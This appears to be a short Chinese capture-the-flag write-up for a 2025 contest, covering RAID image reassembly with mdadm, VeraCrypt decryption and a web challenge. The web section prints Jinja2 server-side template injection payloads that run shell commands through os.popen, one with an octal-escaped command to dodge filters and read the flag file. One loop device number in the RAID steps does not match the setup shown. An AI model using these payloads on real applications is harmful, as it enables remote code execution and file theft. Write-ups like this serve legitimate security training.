2025 西湖论剑

Misc

糟糕的硬盘

1
sudo mdadm --examine 1.img

通过检查每个镜象发现,是 RAID

为每个镜像文件创建一个虚拟块设备

1
2
3
4
5
sudo losetup /dev/loop0 1.img
sudo losetup /dev/loop1 2.img
sudo losetup /dev/loop2 3.img
sudo losetup /dev/loop3 4.img
sudo losetup /dev/loop4 5.img

image-20250118133708866

组合起来

1
sudo mdadm --assemble /dev/md0 /dev/loop0 /dev/loop5 /dev/loop2 /dev/loop3 /dev/loop4
1
sudo mount /dev/md0 /mnt

image-20250118133800449

发现挂载成功了

拿到key.png和secret

利用Veracrypto,secret是加密卷,key.png是加密文件即可得到flag

image-20250118134014060

Web

Rank-l

存在ssti,ID出ssti,密码随便输,抓包看回显

1
2
{{lipsum.__globals__.get("os").popen("ls").read()}}
{{lipsum.__globals__.get("os").popen('$(printf "\150\145\141\144\40\57\146\154\141\52")').read()}}

Iot

010直接秒了

bcb230e69ad051869e32aaf88056efbb